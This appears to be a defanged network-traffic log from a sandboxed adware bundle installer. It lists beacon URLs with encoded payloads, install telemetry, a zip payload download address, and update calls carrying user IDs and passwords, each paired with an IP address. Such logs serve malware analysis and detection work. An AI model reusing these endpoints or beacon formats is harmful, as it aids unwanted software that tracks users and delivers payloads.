hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=/9ZmISdorEtPNjxRBLtb46IVBOIBZJiF/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhwwC7YZDXfmlGw6kHnR XV4QBZGQjpShx/0JQd5HxgIXfzJOtUCXhvpF40BjlF1LoxV7dDySv7ML7ib 8lcO8XYbxKtVwphCE/yhsDDHNIJ6TYBMbHlkM59hB5aSy JFSF7iItZwtLj0y11gCewcGs9DXU3roAfrH04i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE2/h64BfddrZNA==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=/9ZmISdorEtPNjxRBLtb46IVBOIBZJiF/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhwwC7YZDXfmlHxmCcB9WVISvSrmvhzpIGq0JQd5HxgIXeZmmutUZ0P/5KGZ7N/WHCaCHzyr AmlG5QSjSVhgDAFIf3RLuL65mgb49qSg1c16q1wR Xa67k83tC00lsCOkBO4Xoi5PcN r3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyyW6k3eHz83KB92dtdmPF80fhyJSKOx30vCYzjSA6JT3gHH2AXuVZpY	54.230.202.140
hxxp://rep.shopper-pro.com/app/ping.ashx?e=A3ANzFv7fWBMy1Jq1olDf90cltsObsHAm681c60PFlv7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdhnIk748hir7WCArG4HtKvdX1gPBPGd4Gf2NRySioDRRu BYVCPaRxXmz5bNSU9ZQ5QIobxOzNqLc5VZuubnS2AZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQ5bqTd4fPzcoH3Z212Y8XzR HIlIo7HfS8JjONIDolPej4jFkmdSX1ZCn qX4FpTdffopz0y2Q7Y	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=A3ANzFv7fWBMy1Jq1olDf90cltsObsHAm681c60PFlv7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdhnIk748hir7WCArG4HtKvdX1gPBPGd4Gf2NRySioDRRvM76 kd7VSGiSUZWap5kVTyfwmWa4R8zuIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF8TUOAAsHP9e5tsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxcjUlmgcQNjyx/48vBuBRiWOEog NNy6LA==	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=A3ANzFv7fWBMy1Jq1olDf90cltsObsHAm681c60PFlv7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdhnIk748hir7ZHixPWBkhqF2M/kHgvislIrVX/EPqwe9CwGEQqEL5v9HCOZtFDRBBDYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBFPmyIOMSGLqvp2al3wif32RIeMued5S3OqQB4kK2USfmjZJUoJulJFYt96j8Hn3PgGUqUYly4OA=	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=1ZEnpGuz/ISMcHmf61T/gCGvd gjBe894cIKTRSXbmWRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS5RWeJcqy7RHOWB7p8fTxpL6yW5mvSlLtYtrOl7BfDWPc/boITtVwp1P9gDFCZ6VapvGDt BB/ci1dbz JN6x9xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj7zkSX2fb5qItS2/HkOO2vTX7CKO3gby7floKtuONPXpGA6IeSb7Mf4BSr28YVyfPg8SfsOq8sVv	173.239.4.105
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=A8MIvlEETmb4YOj/qSs/oHlL/fEssKcT1VMaOJFqXYpp96vRIJy/LjtUHaZBOE lG2RzYeimzUC1Lb8eQ47a9NfsIo7eBvLt Wgq24409ekYDoh5Jvsx/nwF8xC533FcNLVXkHqu5mvMMv39XlAOU69kXRc7pJh5b GEwPiedNIqjHjRwH0s7BD4NsK07Wi5s IILilpWF0vmoXMQKU1KqXll49muGHNYT/V7WBAfCq0JUba1DwT6KzbMzc4pOx2GGp9MstS3cDTDTdslR3ozqAqUZoVYaYqfPtbgMQry48eeFc/zCry2zVQk8gY3vhjPQ6wHhFi22D3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyyW6k3eHz83KB92dtdmPF80fhyJSKOx30vCYzjSA6JT3gHH2AXuVZpY	54.230.200.20
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=A8MIvlEETmb4YOj/qSs/oHlL/fEssKcT1VMaOJFqXYpp96vRIJy/LjtUHaZBOE lG2RzYeimzUC1Lb8eQ47a9NfsIo7eBvLt Wgq24409ekYDoh5Jvsx/nwF8xC533FcNLVXkHqu5mvMMv39XlAOU69kXRc7pJh5b GEwPiedNL4s2O1I39PFhQC drCF7eFTQFnMmNWIUICT3 w1I1isDkUNguZTdpF2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2uQOGSP6lb8BDZ5alcvDfqfYYSE3pf2vMrcKYjmxG4A7uDYfHOa /eQaB9iafC7Cmw==	54.230.200.20
hxxp://rep.shopper-pro.com/app/ping.ashx?e=A3ANzFv7fWBMy1Jq1olDf90cltsObsHAm681c60PFlv7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdhnIk748hir7Z8Pk9jtfSr7GKzY45zi1OnWyB8eDAkaihrzHkXTPDbIs2bRVJi5NlOrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE29p1TwSReNN5E7xKwR3W9AY9/CpuCTIAF0=	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=A3ANzFv7fWBMy1Jq1olDf90cltsObsHAm681c60PFlv7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdhnIk748hir7WCArG4HtKvdX1gPBPGd4Ge3xOrzwgctLXgdMQkcq0fio9Ph7xjyM7L1FnmdVPV64GxCWHShI1IMEHFTJ3nGcqmM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXB54/jA6EY66 BNIj qt01gyU8iLnKu0BBjlBScKTIC1f8uyh7 gurYIjxAZ2c7xkwB5esNx9efU=	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=1ZEnpGuz/ISMcHmf61T/gCGvd gjBe894cIKTRSXbmWRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS5RWeJcqy7RHOWB7p8fTxpL6yW5mvSlLtYtrOl7BfDWH8SRNladdM9bXKriifhG9zxHHFV7tnwhkh7wLZ3uox395lwett3Vo8TUOAAsHP9e5tsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxZWsNGrNkpFT3Ih1Kfu IMR1mAEZr2jgd8ekaqRbAVTx8JjKZLgwFzG/wC513n 0HRZRXx49nRJ1TcWL70UkzVrp4nRJFoUZgp4Yvmw1YuoPQOGdJX7Ys4OCi0N7aB6YG6hHY oh5wmy9pSoWtDn2v0LZyn40Iw2XsaHUMbF3DUrDVfIJt61BDjd7XhJjAZx5A2eWpXLw36n2GEhN6X9rzK3CmI5sRuAO7g2Hxzmvv3k/qhcYRjcdik7RLm2RtTlS/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5GbVYBUSgIm9bT2UTFlaBi3u9/EBC5qbEfSMcbCLfu3pthm4/DN8D9YYjPPjrWd70hsLQeJtebJimrvcVl0Mf/w==	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=/kyMh6fFcsT4YOj/qSs/oHlL/fEssKcTTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkD5OatmcvVLhhP9XtYEB8KiVYntFJILYSkP6jeETjJVHU2Z1SyzBY81o8H6qezB8RqTFlxlzn4VIl8JkmZ/Wy9wpDKX/a3tH594khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib1tPZRMWVoGLe738QELmpsR9IxxsIt 7em2Gbj8M3wP1hiM8 OtZ3vSGwtB4m15smKau9xWXQx//	173.239.4.105
hxxp://d2sfi55f1s20qk.cloudfront.net/p.ashx?e=uWabAt9SLcwd5zMhdw4gNt0cltsObsHANDxd868wyPhAXdQqxJ1va0uGoedNVFAuIR1sKxPFdTenMA0Kr2gT8ptsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxeYneqzwGmJHpKb81Sa5kgtoqKD5 RG1khKbjxL3vJrvBNvUxdy4Ypecp9QVJKf6axzXS3sEdveAyMpFjoih9vsI2PDdMlVpp 15ypFCsb9bHtcWuS9XX1JnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoU bIg4xIYuq nZqXfCJ/fZEh4y553lLc6pAHiQrZRJ /sUSfHhp7x	54.230.200.20
hxxp://rep.shopper-pro.com/app/ping.ashx?e=eISsn0A7mAahuis9qfwvJZ/TkbZ2czqArWWqhIijSNnZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcdADEiVewVReUu2ENw3GCyK5YDtbL5acPXscS/rum0dyUP gGlRflyueXXE4oNm6FfjcbTVOKlb2t5UU9B7DBN2oXYru/dbHg/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5GbVYBUSgIm9bT2UTFlaBi3u9/EBC5qbEfSMcbCLfu3pthm4/DN8D9YYjPPjrWd70q6MtCHv9YeSmrvcVl0Mf/w==	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=eISsn0A7mAahuis9qfwvJZ/TkbZ2czqArWWqhIijSNnZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcdADEiVewVReUu2ENw3GCyK5YDtbL5acPXscS/rum0dyUP gGlRflyueXXE4oNm6FfjcbTVOKlb2yahRH8NI3UnOryRtAxgTc80Ki/Lj0aHEBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0ElKpVRID 2PDZ5alcvDfqfYYSE3pf2vMrcKYjmxG4A7uDYfHOa /eTt4XIZ/A5EvB8kpng0IpIJ	173.239.4.105
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=Ka qOJkckoVPNjxRBLtb40ze1S7ErIq2/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhwwsgTCGAfUzjVPtJ/net4ZozZSDInFTwcceLsPpRf2XKzqwH4Fs4bmrzzc75zM9QixuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9E1DgALBz/XubbCGHFbF/MkflftV3tdFWXTPTId5fWMVsoZvINmIbww==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=Ka qOJkckoVPNjxRBLtb40ze1S7ErIq2/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhwwsgTCGAfUziw6kHnR XV4QBZGQjpShx/0JQd5HxgIXdABmFtdiJe0br0BIV93bNcKPuMdH9xkPEqLS1Wgne9fqzbMzc4pOx2GGp9MstS3cDTDTdslR3ozqAqUZoVYaYqD QhutMSWXkDivn881BDw6xx AjnWvA7ssgX4HQvzDxnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoU bIg4xIYuq nZqXfCJ/fZEh4y553lLc6pAHiQrZRJ /sUSfHhp7x	54.230.202.140
hxxp://rep.shopper-pro.com/app/ping.ashx?e=AZwPyJy3TZiu PbZ6jHEZp/TkbZ2czqArWWqhIijSNnZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcdADEiVewVReUu2ENw3GCyK5YDtbL5acPXscS/rum0dyUP gGlRflyueXXE4oNm6FesaKJdZjPc2 CsHVVmHwIyxiezSykY/Z9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoEU bIg4xIYuq nZqXfCJ/fZEh4y553lLc6pAHiQrZRJ aNklSgm6UkKNxr/pz/MJmAZSpRiXLg4A==	173.239.4.105
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=QHucCbLl /ZGgpLO6W5H3iGvd gjBe89YWKC9pFBJ0F4E7mrr1h80jmXqQawsZSOUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9d56ymZ4o9xQb6x14lCSqs761xNGUa9sapynfaNYH8L cp9QVJKf6axzXS3sEdveAyMpFjoih9vsI2PDdMlVpp 15ypFCsb9bHtcWuS9XX1JnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoU bIg4xIYuq nZqXfCJ/fZEh4y553lLc6pAHiQrZRJ /sUSfHhp7x	54.230.202.140
hxxp://rep.shopper-pro.com/app/ping.ashx?e=xZXl1pX5gRndHJbbDm7BwBEZe181bXPh 0R MP RL3UJOLXkS9L/h2bktPzt6FdqTvEC4JSYnM5Hrq9z7MTeCs3nxghlsoXYZyJO PIYq 0kyeawv50oOJw4LO6ub5l5rBjqlmzKnb1Tx2y1fQnwbvamwkcEQSgO2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gRT5siDjEhi6r6dmpd8In99kSHjLnneUtzqkAeJCtlEn5o2SVKCbpSQo3Gv nP8wmYBlKlGJcuDg	173.239.4.105
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=1&index_in_screen=1&index_in_session=1&0.6758163244468338
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.mystartsearch&update1=ref,smt&update2=identifier,installer&update3=version,6.3.76.1518&update4=nation,us&update5=language,en	65.255.35.150
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=mystartsearch&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=2&index_in_screen=1&index_in_session=2&0.37205745997554645
hxxp://www.inisxriy.com/infv3/index/2606/bnd/6.3.76.1518/7a9c839b08544f0d77986f6e82d16b3f	50.23.120.57
hxxp://rep.shopper-pro.com/app/ping.ashx?e=QHucCbLl /ZGgpLO6W5H3iGvd gjBe8931aIDEs7VjaRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS5RWeJcqy7RHOWB7p8fTxpL6yW5mvSlLtYtrOl7BfDWDNan7HLQ0t8a50u3XyigpVREcH6lvzpS5NOnjhl29VMiawHEBbFjHDiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvDlvHUGzrBfE1DgALBz/XubbCGHFbF/MkflftV3tdFWXTPTId5fWMXI1JZoHEDY8ngNCbeLs1yCjhKIPjTcuiw=	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=2fVCHF6kf8gQ0V45w4Sc0d0cltsObsHAhvGTQGAohWX7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdhnIk748hir7XLGlxzOinS0OuK88aOgsu0ba7WojkCGp Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF8TUOAAsHP9e5tsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxcjUlmgcQNjyeA0Jt4uzXIKOEog NNy6LA==	173.239.4.105
hxxp://www.inisxriy.com/files/zip_r3/2606_ba3a47c5781b0c9bb6f586b6519791f6/1.zip	50.23.120.57
hxxp://rep.shopper-pro.com/app/ping.ashx?e=/9ZmISdorEvwl4DCqEaRhOjTgYXDnI1t62ls PLHCLAq gheK7Gg4DYaplvWkff44nTb6ugC6CtUYVwTD vJv0oIBKdHi0VzXMDHq/fGLl86aIQg3pa3BisHEelWCJ5f HOYncO4wem9RYSXT9Ba DgmTMHWxjt3B54/jA6EY66 BNIj qt01gyU8iLnKu0BBjlBScKTIC1f8uyh7 gureDWQ0PVCPAb88FLMj8pa5Hlxg1yEv0UZLvbZAOELZbv6yiY0E 0oxf/EhfubMm26CHUhiePxePX09N2cJ6TJq7UBiib7xhdjjmLmZHdZuUgm988pbBE198Bbak1i16fYytqnU4k0fribeIhZIOGE97wVhdsCjsSAEPXN q8jqNmOw9/8 JsFyqVmlcrEFGpX3u9/EBC5qbEfSMcbCLfu3pthm4/DN8D9YYjPPjrWd70QSNoRB gt8ync1CT2WtP sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I 85El9n2 aiLUtvx5Djtr01 wijt4G8u35aCrbjjT16RgOiHkm zH AUq9vGFcnz4PEn7DqvLFbw==	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=/9ZmISdorEvwl4DCqEaRhOjTgYXDnI1t62ls PLHCLAq gheK7Gg4DYaplvWkff44nTb6ugC6CtUYVwTD vJv0oIBKdHi0VzXMDHq/fGLl9cc7Myhd t67Mh5HNq1rWG6F60BcQWyjYd3lq0kFqZiozwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbcvKYfodYqVcHnj MDoRjrr4E0iP6q3TWDJTyIucq7QEGOUFJwpMgLV/y7KHv6C6tgiPEBnZzvGTAHl6w3H159Q==	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=2fVCHF6kf8ip2eBShmJaQJ/TkbZ2czqA0HNFn9uIS7 ovKrJ6qtuelLEqfJll8EjZuS0/O3oV2rYybLSKYXwfmRMnMnoBE37ZBq10WFfTMhgKkdlz1lRoXg/MOwCCT3fpsrZDsYYadbOj/D8d98sTHIeppoKBjGo94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib1tPZRMWVoGLe738QELmpsR9IxxsIt 7em2Gbj8M3wP1hiM8 OtZ3vSGwtB4m15smKau9xWXQx//	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=G4i9JF3YhSbdHJbbDm7BwGbDYIg4MYvtvYHWe71VaIq/YV5 X6RdAPxJo1EJGyYRB0C69pjpciOmjwKp6fbebjNlp5/QjseDiViAEPFo6Yp/1ErfmLF8//Y1HJKKgNFGH6nxT6mrRhaKj C8ts/rBwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdBJSqVUSA/tjw2eWpXLw36n2GEhN6X9rzK3CmI5sRuAO7g2Hxzmvv3k2/AiuEObX9gfJKZ4NCKSCQ==	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=KC52kqqAunCf05G2dnM6gEElidWabup/qLyqyeqrbnpSxKnyZZfBI2bktPzt6Fdq2Mmy0imF8H5kTJzJ6ARN 2QatdFhX0zIYCpHZc9ZUaG9AEuBwweR31o8H6qezB8RbcWSjP4xZHBmYA1eYstdQCX1qBcC9A4kJ9S0hCZVgoupoWpTVOft0GdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUOW6k3eHz83KB92dtdmPF80fhyJSKOx30vCYzjSA6JT3o IxZJnUl9W4uZ/p4emFS336Kc9MtkO2A==	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=KC52kqqAunCf05G2dnM6gEElidWabup/qLyqyeqrbnpSxKnyZZfBI2bktPzt6Fdq2Mmy0imF8H5kTJzJ6ARN 2QatdFhX0zIYCpHZc9ZUaG9AEuBwweR31o8H6qezB8RbcWSjP4xZHCHSnPFvNNypDj6H2BIqEzZsYns0spGP2fYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBFPmyIOMSGLqvp2al3wif32RIeMued5S3OqQB4kK2USfmjZJUoJulJCjca/6c/zCZgGUqUYly4OA=	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=b1dRW7RxYKdJjQ9qCj/WvbKW jgHPjrHhlayNm4kVPIicvsFwQStECv5F5wArPI/YCpHZc9ZUaG4NIBMq aAlNZDXSYpq/nUqIs V7Ds6CRuZZIi5/tojmg8l4itKbh/HiBn688lkcr8toCm18jzwzsvB25MJtnS1urDxSq54gttr9SYvZpGaeXM3AOyMolL4gXfkICGh925RhGZE 4NZmE/1e1gQHwqYCKfWShVRE5nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYJHseVKQaMUzbwgw3rD0uB2wUbmkSx2152AdmVShyM9BYTBiHIO2K3YaWG5orp2ppr3ctykbyRNvSmHP4Ozv8O5eEKXCI1fi6Q==	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=KC46TpkJIZzYLhsRuGeUaZ/TkbZ2czqAQSWJ1Zpu6n ovKrJ6qtuelLEqfJll8EjZuS0/O3oV2rYybLSKYXwfmRMnMnoBE37ZBq10WFfTMhgKkdlz1lRob0AS4HDB5HfWjwfqp7MHxGpMWXGXOfhUiXwmSZn9bL3CkMpf9re0fn3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvW09lExZWgYt7vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9KujLQh7/WHkpq73FZdDH/8=	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=/9ZmISdorEvwl4DCqEaRhJV3KilBdtA462ls PLHCLAq gheK7Gg4DYaplvWkff44nTb6ugC6CtUYVwTD vJv0oIBKdHi0VzXMDHq/fGLl9yxpcczop0tDrivPGjoLLtG2u1qI5AhqfiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvDlvHUGzrBfE1DgALBz/XubbCGHFbF/MkflftV3tdFWXTPTId5fWMXI1JZoHEDY8uj3KviZaZMkjhKIPjTcuiw=	173.239.4.105
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.dlzip1.mystartsearch.finish,6	65.255.35.150
hxxp://online.goobzo.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=	212.143.22.214
hxxp://rep.shopper-pro.com/app/ping.ashx?e=PcwT4QFtuPClUB4b/muCJacisV0Kqo5teq10/GADmDBu89fJv3K/CWQ14on7GBy1f82ojUnVmk1jg4jhBREgIvCV4d3G7GmUPoZDv5/7A 4Cbsn9VEgrCDmXqQawsZSOUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb 8hcchDZmzqx13 Ii9805eFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aBdviNsPXm6GNAxCMMVg3AzYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn2cp9ILLnJI8o5l6kGsLGUjlAO3ZfaMMISYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE29Sngt7Zf/x9xXrK9YmsnJZ	173.239.4.105
hxxp://log.very911.com/install.gif?bundle=mystartsearch&ptid=smt&uid=535559167_198339_B48A115F	184.173.191.224
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.regok	65.255.35.150
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.ds	65.255.35.150
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=8a7f8cc0-b6a0-4d37-a17c-90a0a499110d&Password=5af2Sl0a&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1424743303&SBPIDS=1&KA=1	212.143.22.214
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.hp	65.255.35.150
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8a7f8cc0-b6a0-4d37-a17c-90a0a499110d&Password=5af2Sl0a&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1424743303&SBPIDS=1&KA=1	212.143.22.214
hxxp://online.goobzo.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=	212.143.22.214
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=f75ccf11-a920-4df5-85cd-a4f65d27cbf9&Password=LlonLfTh&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1424743304&SBPIDS=1&KA=1	212.143.22.214
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=f75ccf11-a920-4df5-85cd-a4f65d27cbf9&Password=LlonLfTh&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1424743304&SBPIDS=1&KA=1	212.143.22.214
hxxp://download.dynect.mozilla.net/?product=firefox-34.0.5-complete&os=win&lang=en-US
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8a7f8cc0-b6a0-4d37-a17c-90a0a499110d&Password=5af2Sl0a&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1424743305&SBPIDS=0	212.143.22.214
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfmRMnMnoBE37ZBq10WFfTMgE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQSUqlVEgP7Y8NnlqVy8N p9hhITel/a8ytwpiObEbgDu4Nh8c5r795BoH2Jp8LsKb&product=EXTFirefox&rnd=1424743305&it=0&action=Init&text=Ext version: 1.0.0.1. Firefox version: 29.0.1. DB name: yta_database1_0_0.json. DB version: 1.0.0.1	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdj8GAtb3cG3wOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF8TUOAAsHP9e5tsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxWyhm8g2YhvD&product=EXTFirefox&rnd=1424743305&it=0&action=Init&text=Ext version: 1.0.0.4. Firefox version: 29.0.1. DB name: database1_0_0.json. DB version: 1.0.0.9	173.239.4.105
